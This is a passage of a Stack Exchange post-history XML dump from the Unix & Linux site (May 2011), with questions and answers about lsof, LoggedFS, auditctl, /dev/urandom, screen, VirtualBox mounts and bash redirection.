  <row Id="34430" PostHistoryTypeId="2" PostId="13782" RevisionGUID="a1ab5117-9144-4ef5-bd50-0d71d44c73dc" CreationDate="2011-05-25T18:28:06.463" UserId="7752" Text="Well you could run `lsof` repeatedly, and if you're lucky the culprit will hold the file open long enough for it to show. Ie.:&#xD;&#xA;&#xD;&#xA;    $ lsof -r1 /path/to/file&#xD;&#xA;&#xD;&#xA;or for many files&#xD;&#xA;&#xD;&#xA;    $ lsof -r1 /path/to/folder/*&#xD;&#xA;&#xD;&#xA;This will list all access to the given path at a certain point in time, once per second. This includes listing the PID of the process accessing the file.&#xD;&#xA;&#xD;&#xA;If that doesn't work, that is, the file is opened and closed very quickly, which is often the case, I believe you need to look for more elaborate tools. Maybe [loggedfs](http://loggedfs.sourceforge.net/) could be something?&#xD;&#xA;&#xD;&#xA;**Hackland**  &#xD;&#xA;If the once-per-second `lsof` won't work, you could of course hack a while-loop that runs lsof repeatedly as fast as possible. Like:&#xD;&#xA;&#xD;&#xA;    $ while true; do lsof /paht/to/file; done;&#xD;&#xA;&#xD;&#xA;Muhaha, erh. Not pretty, but who knows, might just do it." />
  <row Id="34431" PostHistoryTypeId="2" PostId="13783" RevisionGUID="50671573-e7a8-470f-bfcb-188c8d1f6388" CreationDate="2011-05-25T18:30:31.380" UserId="688" Text="You can use **`lsof`** for that:&#xD;&#xA;&#xD;&#xA;    $ lsof /tmp/file&#xD;&#xA;    COMMAND    PID USER   FD   TYPE DEVICE SIZE/OFF    NODE NAME&#xD;&#xA;    less      4737 wena    4r   REG    8,6    90700 1643536 /tmp/file&#xD;&#xA;&#xD;&#xA;It says the process named `less` is the keeping the file &quot;**/tmp/file**&quot; open (would look the same whether it was reading writing to it).&#xD;&#xA;&#xD;&#xA;**NOTE**: Strangely, that doesn't work if I use `geany` or `nano`. Am looking forward to better suggestions." />
  <row Id="34432" PostHistoryTypeId="5" PostId="13772" RevisionGUID="e3a74bcb-09f6-4329-af75-decaf5060343" CreationDate="2011-05-25T18:43:29.777" UserId="73" Comment="deleted 1 characters in body; deleted 4 characters in body" Text="That's exactly the difference between `/dev/random` and `/dev/urandom` -- `random` guarantees the output will actually be random, but that means it might need to block if there isn't enough entropy available. `urandom` never blocks, but you might get &quot;less random&quot; data from it.&#xD;&#xA;&#xD;&#xA;From the `random(4)` man page:&#xD;&#xA;&#xD;&#xA;&gt; When read, the /dev/random device will only return random bytes within the estimated number of  bits of noise in the entropy pool. /dev/random should be suitable for uses that need very high quality randomness such as one-time pad or key generation. When the entropy pool is empty, reads from /dev/random will block until additional environmental noise is gathered.&#xD;&#xA;&#xD;&#xA;&gt; A read from the /dev/urandom device will not block waiting for more entropy.  As a result, if there is not sufficient entropy in the entropy pool, the returned values are theoretically vulnerable to a cryptographic attack on the algorithms used by the driver.&#xD;&#xA;" />
  <row Id="34433" PostHistoryTypeId="2" PostId="13784" RevisionGUID="1138675d-513e-4c9b-9536-7058fc793341" CreationDate="2011-05-25T19:37:40.473" UserId="7707" Text="&quot;They&quot; can correlate the ssh session with both your real IP and the traffic coming out of the ssh server.  This method of tunneling traffic over ssh is great for encrypting the contents of the traffic between the ssh client and the ssh server, but it won't help you avoid monitoring on the ssh server." />
  <row Id="34434" PostHistoryTypeId="2" PostId="13785" RevisionGUID="0525e87e-f80d-4b4c-9647-ec08287553f2" CreationDate="2011-05-25T19:56:10.630" UserId="7771" Text="I'm not sure of your original goal/purpose, but if you are wanting to show PHP source to someone --&#xD;&#xA;&#xD;&#xA;You can rename the file to *.phps extension and (in many Apache/PHP configurations, but not all) it will not parse the PHP when serving the file to the user; it will show the source directly." />
  <row Id="34435" PostHistoryTypeId="2" PostId="13786" RevisionGUID="61d69fc1-f18d-4ef2-a016-6ec569d185b7" CreationDate="2011-05-25T19:56:50.947" UserId="1571" Text="Is there a way to mount a directory residing on my VB guest (linux) on my host (linux)? I know I can do it the other way around with the shared folders feature on Virtualbox, but is there a way to do it this way?&#xD;&#xA;&#xD;&#xA;I'd really like to actually mount the directory. Not use samba, or something similar to that." />
  <row Id="34436" PostHistoryTypeId="1" PostId="13786" RevisionGUID="61d69fc1-f18d-4ef2-a016-6ec569d185b7" CreationDate="2011-05-25T19:56:50.947" UserId="1571" Text="Virtualbox, mounting guest directory on host computer" />
  <row Id="34437" PostHistoryTypeId="3" PostId="13786" RevisionGUID="61d69fc1-f18d-4ef2-a016-6ec569d185b7" CreationDate="2011-05-25T19:56:50.947" UserId="1571" Text="émountàévirtualömachineàévirtualboxà" />
  <row Id="34438" PostHistoryTypeId="6" PostId="13764" RevisionGUID="c57be1a4-85bf-4dc7-b8f5-d43d5a1ded49" CreationDate="2011-05-25T20:08:43.397" UserId="885" Comment="edited tags" Text="ésshàémonitoringàésshötunnelingà" />
  <row Id="34439" PostHistoryTypeId="2" PostId="13787" RevisionGUID="cc03356e-30ce-4963-bbc1-0513827e516b" CreationDate="2011-05-25T20:17:17.250" UserId="5614" Text="I'd like to be able to check progress and output of my existing `screen` sessions, but in a read-only manner, so as to prevent something from going wrong due to user error. Is there a way to do this?" />
  <row Id="34440" PostHistoryTypeId="1" PostId="13787" RevisionGUID="cc03356e-30ce-4963-bbc1-0513827e516b" CreationDate="2011-05-25T20:17:17.250" UserId="5614" Text="Is there a way to run 'screen' in read-only mode?" />
  <row Id="34441" PostHistoryTypeId="3" PostId="13787" RevisionGUID="cc03356e-30ce-4963-bbc1-0513827e516b" CreationDate="2011-05-25T20:17:17.250" UserId="5614" Text="éscreenà" />
  <row Id="34442" PostHistoryTypeId="5" PostId="13780" RevisionGUID="ec82184c-0625-4908-be9a-9f32d8cb0da3" CreationDate="2011-05-25T20:17:34.350" UserId="73" Comment="deleted 1 characters in body" Text="`glibc` has a configure option called `--enable-kernel` that lets you specify the minimum supported kernel version. When object files are linked with that glibc build, the linker adds a SHT_NOTE section to the resulting executable named `.note.ABI-tag` that includes that minimum kernel version. The exact format is defined in the [LSB](http://refspecs.freestandards.org/LSB_1.2.0/gLSB/noteabitag.html), and `file` knows to look for that section and how to interpret it.&#xD;&#xA;&#xD;&#xA;The reason your particular glibc was built to require 2.6.9 depends on who built it. It's the same on my system (Gentoo); a comment in the glibc ebuild says that it specifies 2.6.9 because it's the minimum required for the [NPTL](http://en.wikipedia.org/wiki/Native_POSIX_Thread_Library), so that's likely a common choice. Another one that [seems to come up](http://www.google.com/search?sourceid=chrome&amp;ie=UTF-8&amp;q=%22for+GNU/Linux+2.4.1%22) is 2.4.1, because it was the minimum required for [LinuxThreads](http://cristal.inria.fr/~xleroy/linuxthreads/), the package used before NPTL" />
  <row Id="34443" PostHistoryTypeId="2" PostId="13788" RevisionGUID="d5f6e694-07c5-440b-9792-96abf1c5e5b7" CreationDate="2011-05-25T20:24:07.847" UserId="73" Text="Unfortunately, I think the answer is no. The asker of [this question](http://unix.stackexchange.com/questions/7588/is-there-a-tmux-shortcut-to-go-read-only) switched to [tmux](http://tmux.sourceforge.net/) specifically because it has that feature (you pass the `-r` flag when attaching), so if you have the option to switch multiplexers it's probably your best choice" />
  <row Id="34444" PostHistoryTypeId="5" PostId="13772" RevisionGUID="4ffa1097-b632-4730-a569-76b6fe9bf8d7" CreationDate="2011-05-25T20:28:07.520" UserId="73" Comment="added 207 characters in body" Text="That's exactly the difference between `/dev/random` and `/dev/urandom` -- `random` uses the entropy pool, which gathers noise from a bunch of sources and keeps track of &quot;how much&quot; noise is currently in the pool, so `random` knows how much high-quality randomness it can generate. Since the entropy pool has a finite amount of noise, reading from `random` might need to block if there isn't enough entropy available. `urandom` never blocks, but you might get &quot;less random&quot; data from it.&#xD;&#xA;&#xD;&#xA;From the `random(4)` man page:&#xD;&#xA;&#xD;&#xA;&gt; When read, the /dev/random device will only return random bytes within the estimated number of  bits of noise in the entropy pool. /dev/random should be suitable for uses that need very high quality randomness such as one-time pad or key generation. When the entropy pool is empty, reads from /dev/random will block until additional environmental noise is gathered.&#xD;&#xA;&#xD;&#xA;&gt; A read from the /dev/urandom device will not block waiting for more entropy.  As a result, if there is not sufficient entropy in the entropy pool, the returned values are theoretically vulnerable to a cryptographic attack on the algorithms used by the driver.&#xD;&#xA;" />
  <row Id="34445" PostHistoryTypeId="2" PostId="13789" RevisionGUID="a4618fa8-528a-4f95-96e7-d75841464f11" CreationDate="2011-05-25T20:33:24.573" UserId="3385" Text="I just went to utorrent's page and downloaded and unpacked the utorrent files. Inside there where three elements:&#xD;&#xA;&#xD;&#xA;folder (docs)&#xD;&#xA;utserver (executable)&#xD;&#xA;zip folder webui.zip&#xD;&#xA;&#xD;&#xA;Im guessing utserver is it, i dubble click it but nothing happens. Could anyone help? Im using Fedore 15" />
  <row Id="34446" PostHistoryTypeId="1" PostId="13789" RevisionGUID="a4618fa8-528a-4f95-96e7-d75841464f11" CreationDate="2011-05-25T20:33:24.573" UserId="3385" Text="How do I install it?" />
  <row Id="34447" PostHistoryTypeId="3" PostId="13789" RevisionGUID="a4618fa8-528a-4f95-96e7-d75841464f11" CreationDate="2011-05-25T20:33:24.573" UserId="3385" Text="élinuxàéfedoraà" />
  <row Id="34448" PostHistoryTypeId="2" PostId="13790" RevisionGUID="c6a56741-922e-477c-8ffb-1ac30f81488f" CreationDate="2011-05-25T20:34:27.693" UserId="7670" Text="Is there some option I can give to just check the syntax of a [bash] shell script to check the syntax of it, but not actually execute anything nor cause any potential damage?" />
  <row Id="34449" PostHistoryTypeId="1" PostId="13790" RevisionGUID="c6a56741-922e-477c-8ffb-1ac30f81488f" CreationDate="2011-05-25T20:34:27.693" UserId="7670" Text="Debugging shell scripts: Syntax checking without executing" />
  <row Id="34450" PostHistoryTypeId="3" PostId="13790" RevisionGUID="c6a56741-922e-477c-8ffb-1ac30f81488f" CreationDate="2011-05-25T20:34:27.693" UserId="7670" Text="ébashàéshellöscriptà" />
  <row Id="34451" PostHistoryTypeId="6" PostId="13790" RevisionGUID="9fd91e91-5f2e-4b19-b9a3-1c5d6062dfea" CreationDate="2011-05-25T20:40:13.547" UserId="7670" Comment="edited tags" Text="ébashàéshellöscriptàétestingà" />
  <row Id="34452" PostHistoryTypeId="5" PostId="13789" RevisionGUID="a2e42f3d-065a-4f0a-a5c6-f580117d3cba" CreationDate="2011-05-25T20:54:25.907" UserId="73" Comment="added 2 characters in body; edited title" Text="I just downloaded the uTorrent archive from their website and unpacked it. Inside were:&#xD;&#xA;&#xD;&#xA;* docs&#xD;&#xA;* utserver&#xD;&#xA;* webui.zip&#xD;&#xA;&#xD;&#xA;`utserver` is an executable, so I'm guessing that's what I'm supposed to run, but when I double-click it nothing happens. What should I do? I'm using Fedora 15" />
  <row Id="34453" PostHistoryTypeId="4" PostId="13789" RevisionGUID="a2e42f3d-065a-4f0a-a5c6-f580117d3cba" CreationDate="2011-05-25T20:54:25.907" UserId="73" Comment="added 2 characters in body; edited title" Text="How do I run uTorrent?" />
  <row Id="34454" PostHistoryTypeId="2" PostId="13791" RevisionGUID="2e16f031-955b-48ab-807c-b9e22d9bb204" CreationDate="2011-05-25T20:55:23.377" UserId="885" Text="The **[lsof](http://en.wikipedia.org/wiki/Lsof)** command (already mentioned in several answers) will tell you what process has a file open at the time you run it. `lsof` is available for just about every unix variant.&#xD;&#xA;&#xD;&#xA;    lsof /path/to/file&#xD;&#xA;&#xD;&#xA;`lsof` won't tell you about file that were opened two microseconds ago and closed one microsecond ago. If you need to watch a particular file and react when it is accessed, you need different tools.&#xD;&#xA;&#xD;&#xA;If you can plan a little in advance, you can put the file on a **[LoggedFS](http://loggedfs.sourceforge.net/)** filesystem. LoggedFS is a [FUSE](http://fuse.sourceforge.net/) stacked filesystem that logs all accesses to files in a hierarchy. The logging parameters are highly configurable. FUSE is available on [all major unices](http://sourceforge.net/apps/mediawiki/fuse/index.php?title=OperatingSystems). You'll want to log accesses to the directory where the file is created.&#xD;&#xA;&#xD;&#xA;    loggedfs -l /path/to/log_file -c /path/to/config.xml /path/to/directory&#xD;&#xA;    tail -f /path/to/log_file&#xD;&#xA;&#xD;&#xA;Many unices offer other monitoring facilities. Under Linux, you can use the relatively new &lt;!--it's only almost twice as old as Stack Overflow--&gt; [audit subsystem](http://people.redhat.com/sgrubb/audit/). There isn't much literature about it (but more than about loggedfs); you can start with [this tutorial](http://www.cyberciti.biz/tips/linux-audit-files-to-see-who-made-changes-to-a-file.html) or [a](http://stackoverflow.com/questions/5926947/getting-nfsstat-like-statistics-for-ext3-and-other-filesystems/5927229#5927229) [few](http://unix.stackexchange.com/questions/13017/log-every-invocation-of-every-suid-program/13024#13024) [examples](http://unix.stackexchange.com/questions/12390/tracking-huge-buffer-usage-under-linux/12398#12398) or just with the [`auditctl` man page](http://manpages.ubuntu.com/manpages/lucid/man8/auditctl.8.html). Here, it should be enough make sure the daemon is started, run&#xD;&#xA;&#xD;&#xA;    auditctl -a exit,always -w /path/to/file&#xD;&#xA;&#xD;&#xA;and watch the logs in `/var/log/audit/audit.log`.&#xD;&#xA;" />
  <row Id="34455" PostHistoryTypeId="6" PostId="13776" RevisionGUID="2a4fe1bf-57a7-40e7-9ae5-17257d382271" CreationDate="2011-05-25T20:55:38.620" UserId="885" Comment="edited tags" Text="éprocessàéfilesàémonitoringà" />
  <row Id="34456" PostHistoryTypeId="2" PostId="13792" RevisionGUID="6e798ae3-3523-4ca8-9ac1-ca7dfd092c94" CreationDate="2011-05-25T20:56:17.730" UserId="73" Text="From the `bash(1)` man page:&#xD;&#xA;&#xD;&#xA;    -n      Read commands but do not execute them. This may be used to check a&#xD;&#xA;            shell script for syntax errors. This is ignored by interactive shells.&#xD;&#xA;" />
  <row Id="34457" PostHistoryTypeId="6" PostId="13774" RevisionGUID="7b5d6e59-c9e4-477f-bbfd-8e8c04d3ec70" CreationDate="2011-05-25T20:56:34.407" UserId="885" Comment="edited tags" Text="élinuxàéexecutableàéelfà" />
  <row Id="34458" PostHistoryTypeId="2" PostId="13793" RevisionGUID="2d7b0485-f668-4cac-9998-28f1d9de00db" CreationDate="2011-05-25T21:09:55.863" UserId="885" Text="The short answer is that you can't.&#xD;&#xA;&#xD;&#xA;When you mount a directory from the host inside the guest, here's what happens. VirtualBox comes with a filesystem driver for the guest OS that stores files by going through a special VM interface rather than directly accessing a storage device. The VirtualBox process on the host interprets the requests that come through the interface by making garden-variety user-level filesystem accesses.&#xD;&#xA;&#xD;&#xA;Now consider the symmetric situation. You want to access files on the guest. Ok, then VirtualBox should come with a driver for the guest that handles filesystem queries coming through a VM interface. There would have to be a kernel component (because a VM interface looks like hardware to the guest OS) and optionally a user-land component to actually access the files (not necessarily, this is similar to an server NFS which can be done in the kernel or in userland (an NFS server's front end goes through the network, so that bit is doable in userland)). Then, on the host side, you would need a filesystem driver that communicates through the VM interface. Filesystems are normally handled by the kernel, but they can be mediated to a user process (that's what FUSE does). So a special-purpose filesystem would be possible, but more involved than in the symmetric case. There's also a lot less demand for it. As far as I know, there's no such special-purpose filesystem for any of the major VM implementations.&#xD;&#xA;&#xD;&#xA;I'm afraid you'll have to use a networked filesystem such as NFS, Samba or SSHFS.&#xD;&#xA;" />
  <row Id="34459" PostHistoryTypeId="6" PostId="13786" RevisionGUID="2f11ff8e-52e6-4137-88e1-808ed3ee92e9" CreationDate="2011-05-25T21:10:20.480" UserId="885" Comment="edited tags" Text="éfilesystemsàévirtualömachineàévirtualboxàédistributedöfilesystemà" />
  <row Id="34460" PostHistoryTypeId="25" PostId="13774" RevisionGUID="ac7b962d-385b-45dc-8ab9-c15272495430" CreationDate="2011-05-25T21:13:08.267" Comment="http://twitter.com/#!/StackUnix/status/73496845262913536" />
  <row Id="34461" PostHistoryTypeId="2" PostId="13794" RevisionGUID="c9d5f787-ead8-453b-b1b6-94a0322a7dcc" CreationDate="2011-05-25T21:14:22.090" UserId="885" Text="What is the syntax of the [LoggedFS](http://loggedfs.sourceforge.net/) configuration file?&#xD;&#xA;&#xD;&#xA;&lt;sub&gt;&#xD;&#xA;The official documentation only had usage instructions for the `loggedfs` command and a configuration file example. Ok, it's XML, but what are all the possible tags and attributes and what do they mean?&#xD;&#xA;&lt;/sub&gt;&#xD;&#xA;" />
  <row Id="34462" PostHistoryTypeId="1" PostId="13794" RevisionGUID="c9d5f787-ead8-453b-b1b6-94a0322a7dcc" CreationDate="2011-05-25T21:14:22.090" UserId="885" Text="LoggedFS configuration file syntax" />
  <row Id="34463" PostHistoryTypeId="3" PostId="13794" RevisionGUID="c9d5f787-ead8-453b-b1b6-94a0322a7dcc" CreationDate="2011-05-25T21:14:22.090" UserId="885" Text="éfuseàéloggedfsà" />
  <row Id="34464" PostHistoryTypeId="5" PostId="13783" RevisionGUID="54ea59f3-95d7-4b5e-9bc4-5907aa3ad5a0" CreationDate="2011-05-25T21:43:17.887" UserId="688" Comment="deleted 59 characters in body" Text="You can use **`lsof`** for that:&#xD;&#xA;&#xD;&#xA;    $ lsof /tmp/file&#xD;&#xA;    COMMAND    PID USER   FD   TYPE DEVICE SIZE/OFF    NODE NAME&#xD;&#xA;    less      4737 wena    4r   REG    8,6    90700 1643536 /tmp/file&#xD;&#xA;&#xD;&#xA;It says the process named `less` is the keeping the file &quot;**/tmp/file**&quot; open.&#xD;&#xA;&#xD;&#xA;**NOTE**: Strangely, that doesn't work if I use `geany` or `nano`. Am looking forward to better suggestions." />
  <row Id="34465" PostHistoryTypeId="2" PostId="13795" RevisionGUID="7a2c323b-8b05-46df-9302-356683e10bca" CreationDate="2011-05-25T21:50:20.163" UserId="885" Text="`utserver` is a command line program. (You can tell — well, with enough technical knowledge you can — by opening a terminal, changing to the right directory and running `ldd ./utserver`: this only lists commands). You just need to start it, and after that you interact through the provided web UI: point your browser to `http://localhost:8080/gui/` (or whatever `ut_webui_port` is set to in the configuration file). You'll have to install the GUI as well (it's in the zip file), this isn't documented.&#xD;&#xA;" />
  <row Id="34469" PostHistoryTypeId="5" PostId="13791" RevisionGUID="5e024d36-c0a0-405b-aef8-f04ef5a87dca" CreationDate="2011-05-25T21:56:51.150" UserId="885" Comment="make the last sentence easier to parse; added 3 characters in body" Text="The **[lsof](http://en.wikipedia.org/wiki/Lsof)** command (already mentioned in several answers) will tell you what process has a file open at the time you run it. `lsof` is available for just about every unix variant.&#xD;&#xA;&#xD;&#xA;    lsof /path/to/file&#xD;&#xA;&#xD;&#xA;`lsof` won't tell you about file that were opened two microseconds ago and closed one microsecond ago. If you need to watch a particular file and react when it is accessed, you need different tools.&#xD;&#xA;&#xD;&#xA;If you can plan a little in advance, you can put the file on a **[LoggedFS](http://loggedfs.sourceforge.net/)** filesystem. LoggedFS is a [FUSE](http://fuse.sourceforge.net/) stacked filesystem that logs all accesses to files in a hierarchy. The logging parameters are highly configurable. FUSE is available on [all major unices](http://sourceforge.net/apps/mediawiki/fuse/index.php?title=OperatingSystems). You'll want to log accesses to the directory where the file is created.&#xD;&#xA;&#xD;&#xA;    loggedfs -l /path/to/log_file -c /path/to/config.xml /path/to/directory&#xD;&#xA;    tail -f /path/to/log_file&#xD;&#xA;&#xD;&#xA;Many unices offer other monitoring facilities. Under Linux, you can use the relatively new &lt;!--it's only almost twice as old as Stack Overflow--&gt; [audit subsystem](http://people.redhat.com/sgrubb/audit/). There isn't much literature about it (but more than about loggedfs); you can start with [this tutorial](http://www.cyberciti.biz/tips/linux-audit-files-to-see-who-made-changes-to-a-file.html) or [a](http://stackoverflow.com/questions/5926947/getting-nfsstat-like-statistics-for-ext3-and-other-filesystems/5927229#5927229) [few](http://unix.stackexchange.com/questions/13017/log-every-invocation-of-every-suid-program/13024#13024) [examples](http://unix.stackexchange.com/questions/12390/tracking-huge-buffer-usage-under-linux/12398#12398) or just with the [`auditctl` man page](http://manpages.ubuntu.com/manpages/lucid/man8/auditctl.8.html). Here, it should be enough to make sure the daemon is started, then run `auditctl`:&#xD;&#xA;&#xD;&#xA;    auditctl -a exit,always -w /path/to/file&#xD;&#xA;&#xD;&#xA;and watch the logs in `/var/log/audit/audit.log`.&#xD;&#xA;" />
  <row Id="34470" PostHistoryTypeId="5" PostId="13726" RevisionGUID="0c1b085a-0f67-452f-80ab-5fd9ac6abbd0" CreationDate="2011-05-25T22:03:30.107" UserId="885" Comment="make it clearer that I do intend to direct to a list of questions in the link" Text="First, note that the syntax for closing is `5&gt;&amp;-` or `6&lt;&amp;-`, depending on whether the file descriptor is being read for writing or for reading. There seems to be a typo or formatting glitch in that blog post.&#xD;&#xA;&#xD;&#xA;Here's the commented script.&#xD;&#xA;&#xD;&#xA;    exec 5&gt;/tmp/foo       # open /tmp/foo for writing, on fd 5&#xD;&#xA;    exec 6&lt;/tmp/bar       # open /tmp/bar for reading, on fd 6&#xD;&#xA;    cat &lt;&amp;6 |             # call cat, with its standard input connected to&#xD;&#xA;                          # what is currently fd 6, i.e. /tmp/bar&#xD;&#xA;    while read a; do      # &#xD;&#xA;      echo $a &gt;&amp;5         # write to fd 5, i.e. /tmp/foo&#xD;&#xA;    done                  # &#xD;&#xA;&#xD;&#xA;There's no closing here. Because all the inputs and outputs are going to the same place in this simple example, the use of extra file descriptors is not necessary. You could write&#xD;&#xA;&#xD;&#xA;    cat &lt;/tmp/bar |&#xD;&#xA;    while read a; do&#xD;&#xA;      echo $a&#xD;&#xA;    done &gt;/tmp/foo&#xD;&#xA;&#xD;&#xA;Using explicit file descriptors becomes useful when you want to write to multiple files in turn. For example consider a script that outputs data to a data output file and logging data to a log file and possibly error messages as well. That means three output channels: one for data, one for logs and one for errors. Since there are only two standard descriptors for output, a third is needed. You can call `exec` to open the output files:&#xD;&#xA;&#xD;&#xA;    exec &gt;data-file&#xD;&#xA;    exec 3&gt;log-file&#xD;&#xA;    echo &quot;first line of data&quot;&#xD;&#xA;    echo &quot;this is a log line&quot; &gt;&amp;3&#xD;&#xA;    …&#xD;&#xA;    if something_bad_happens; then echo error message &gt;&amp;2; fi&#xD;&#xA;    exec &amp;&gt;-  # close the data output file&#xD;&#xA;    echo &quot;output file closed&quot; &gt;&amp;3&#xD;&#xA;&#xD;&#xA;The remark about efficiency comes in when you have a redirection in a loop, like this (assume the file is empty to begin with):&#xD;&#xA;&#xD;&#xA;    while …; do echo $a &gt;&gt;/tmp/bar; done&#xD;&#xA;&#xD;&#xA;At each iteration, the program opens `/tmp/bar`, seeks to the end of the file, appends some data and closes the file. It is more efficient to open the file once and for all:&#xD;&#xA;&#xD;&#xA;    while …; do echo $a; done &gt;/tmp/bar&#xD;&#xA;&#xD;&#xA;When there are multiple redirections happening at different times, calling `exec` to perform redirections rather than wrapping a block in a redirection becomes useful.&#xD;&#xA;&#xD;&#xA;    exec &gt;/tmp/bar&#xD;&#xA;    while …; do echo $a; done&#xD;&#xA;&#xD;&#xA;You'll find several other [examples of redirection by browsing the `io-redirection` tag on this site](http://unix.stackexchange.com/questions/tagged/io-redirection+shell).&#xD;&#xA;" />
  <row Id="34472" PostHistoryTypeId="2" PostId="13797" RevisionGUID="64b2896a-7c41-4f68-a963-d2d600e87c8f" CreationDate="2011-05-25T22:19:35.307" UserId="73" Text="I poked through `Config.cpp`, the file responsible for parsing the configuration. The example configuration actually does a pretty good job of capturing the available options -- there aren't very many&#xD;&#xA;&#xD;&#xA;When I refer to &quot;the example output&quot; below, I'm talking about this line (pulled at random from the sample page):&#xD;&#xA;&#xD;&#xA;    17:29:35 (src/loggedfs.cpp:136) getattr /var/ {SUCCESS} [ pid = 8700 kded [kdeinit] uid = 1000 ]&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;The root tag is `&lt;loggedFS&gt;`. It has two optional attributes:&#xD;&#xA;&#xD;&#xA;* **logEnabled** is a string -- &quot;true&quot; means it should actually output log info; anything else disables all logging. Defaults to &quot;true&quot;, since that's kind of the whole point of the program&#xD;&#xA;* **printProcessName** is a string -- &quot;true&quot; means the log output will include the process name, anything else means it won't. Defaults to &quot;true&quot;. In the example output, `kded [kdeinit]` is the process name&#xD;&#xA;&#xD;&#xA;The only child nodes it cares about are `&lt;include&gt;` and `&lt;exclude&gt;`. In the example they group those under `&lt;includes&gt;` and `&lt;excludes&gt;` blocks, but those are ignored by the parser (as are any other nodes except `&lt;include&gt;` and `&lt;exclude&gt;`). Naturally, `&lt;include&gt;` rules cause it to output the log line if they match, while `&lt;exclude&gt;` lines cause it not to. In the event of overlap, `&lt;exclude&gt;` overrides `&lt;include&gt;`&#xD;&#xA;&#xD;&#xA;Both `&lt;include&gt;` and `&lt;exclude&gt;` take the same attributes:&#xD;&#xA;&#xD;&#xA;* **extension** is a regular expression that is matched against the absolute path of the file that was accessed/modified/whatever (`extension` is a rather poor name, but I guess that's the common usage). For example, if you `touch /mnt/loggedfs/some/file`, the regular expression in `extension` would need to (partial) match `/mnt/loggedfs/some/file`&#xD;&#xA;* **uid** is a string that contains either an integer or `*`. The rule only matches a given operation if the owner of the process that caused the operation has the specified user ID (`*` naturally means any user ID matches). In the example output, `1000` is the uid&#xD;&#xA;* **action** is the specific type of operation performed on the filesystem. In the example output, `getattr` is the action. The possible actions are:&#xD;&#xA;  * access&#xD;&#xA;  * chmod&#xD;&#xA;  * chown&#xD;&#xA;  * getattr&#xD;&#xA;  * link&#xD;&#xA;  * mkdir&#xD;&#xA;  * mkfifo&#xD;&#xA;  * mknod&#xD;&#xA;  * open&#xD;&#xA;  * open-readonly&#xD;&#xA;  * open-readwrite&#xD;&#xA;  * open-writeonly&#xD;&#xA;  * read&#xD;&#xA;  * readdir&#xD;&#xA;  * readlink&#xD;&#xA;  * rename&#xD;&#xA;  * rmdir&#xD;&#xA;  * statfs&#xD;&#xA;  * symlink&#xD;&#xA;  * truncate&#xD;&#xA;  * unlink&#xD;&#xA;  * utime&#xD;&#xA;  * utimens&#xD;&#xA;  * write&#xD;&#xA;* **retname** is a regular expression. If the return code of the actual filesystem operation performed by LoggedFS is 0, the regular expression is matched against the string `SUCCESS`. A non-zero return code causes it to match against `FAILURE`. Those are the only possible values, so most likely you're either going to hardcode `SUCCESS`, `FAILURE`, or use `.*` if you want both. In the example output, `SUCCESS` is the `retname`&#xD;&#xA;&#xD;&#xA;Unlike with the `&lt;loggedFS&gt;` attributes, these have no defaults. Also, while the parser will recognize unknown attributes and error out, it does not detect missing attributes, so if you forget an attribute it will use uninitialized memory." />
  <row Id="34473" PostHistoryTypeId="2" PostId="13798" RevisionGUID="a5e7aaec-45b4-4e5a-8a1c-9ffc28d34340" CreationDate="2011-05-25T22:35:46.480" UserId="885" Text="Ok, let's apply the unix philosophy. What are the components of this task?&#xD;&#xA;&#xD;&#xA;* Text search: you need a tool to search text in a file, such as `grep`.&#xD;&#xA;* Recursive: you need a tool to go looking for files in a directory tree, such as `find`.&#xD;&#xA;* Archives: you need a tool to read them.&#xD;&#xA;&#xD;&#xA;Most unix programs operate on files. So to operate easily on archive components, you need to access them as files, in other words you need to access them as directories.&#xD;&#xA;&#xD;&#xA;The [AVFS](http://avf.sourceforge.net/) filesystem presents a view of the filesystem where every archive file `/path/to/foo.zip` is accessible as a directory `~/.avfs/path/to/foo/zip#`. AVFS provides read-only access to most common archive file formats.&#xD;&#xA;&#xD;&#xA;    mountavfs&#xD;&#xA;    find ~/.avfs$PWD \( -name '*.zip' -o -name '*.tar.gz' -o -name '*.tgz' \) \&#xD;&#xA;         -exec sh -c 'find &quot;$0#&quot; -name &quot;*.pm&quot; \&#xD;&#xA;                           -exec grep &quot;$1&quot; +' {} 'Test::Version' \;&#xD;&#xA;&#xD;&#xA;or in zsh:&#xD;&#xA;&#xD;&#xA;     grep 'Test::Version' ~/.avfs$PWD/**/*.(tgz|tar.gz|zip)(e\''&#xD;&#xA;         reply=($REPLY\#/**/*.pm(.N))&#xD;&#xA;     '\')&#xD;&#xA;" />
  <row Id="34474" PostHistoryTypeId="5" PostId="13797" RevisionGUID="d857c961-0f70-4f5d-b5b1-550a70d02fb0" CreationDate="2011-05-25T22:40:27.123" UserId="73" Comment="added 220 characters in body" Text="I poked through `Config.cpp`, the file responsible for parsing the configuration. The example configuration actually does a pretty good job of capturing the available options -- there aren't very many&#xD;&#xA;&#xD;&#xA;When I refer to &quot;the example output&quot; below, I'm talking about this line (pulled at random from the sample page):&#xD;&#xA;&#xD;&#xA;    17:29:35 (src/loggedfs.cpp:136) getattr /var/ {SUCCESS} [ pid = 8700 kded [kdeinit] uid = 1000 ]&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;The root tag is `&lt;loggedFS&gt;`. It has two optional attributes:&#xD;&#xA;&#xD;&#xA;* **logEnabled** is a string -- &quot;true&quot; means it should actually output log info; anything else disables all logging. Defaults to &quot;true&quot;, since that's kind of the whole point of the program&#xD;&#xA;* **printProcessName** is a string -- &quot;true&quot; means the log output will include the process name, anything else means it won't. Defaults to &quot;true&quot;. In the example output, `kded [kdeinit]` is the process name&#xD;&#xA;&#xD;&#xA;The only child nodes it cares about are `&lt;include&gt;` and `&lt;exclude&gt;`. In the example they group those under `&lt;includes&gt;` and `&lt;excludes&gt;` blocks, but those are ignored by the parser (as are any other nodes except `&lt;include&gt;` and `&lt;exclude&gt;`).&#xD;&#xA;&#xD;&#xA;Naturally, `&lt;include&gt;` rules cause it to output the log line if they match, while `&lt;exclude&gt;` lines cause it not to. In the event of overlap, `&lt;exclude&gt;` overrides `&lt;include&gt;`. Normally you need at least one `&lt;include&gt;` rule to match for an event to be logged, but an exception is if there are 0 `&lt;include&gt;` rules -- then all events are logged, *even if there are matching `&lt;exclude&gt;` lines*.&#xD;&#xA;&#xD;&#xA;Both `&lt;include&gt;` and `&lt;exclude&gt;` take the same attributes:&#xD;&#xA;&#xD;&#xA;* **extension** is a regular expression that is matched against the absolute path of the file that was accessed/modified/whatever (`extension` is a rather poor name, but I guess that's the common usage). For example, if you `touch /mnt/loggedfs/some/file`, the regular expression in 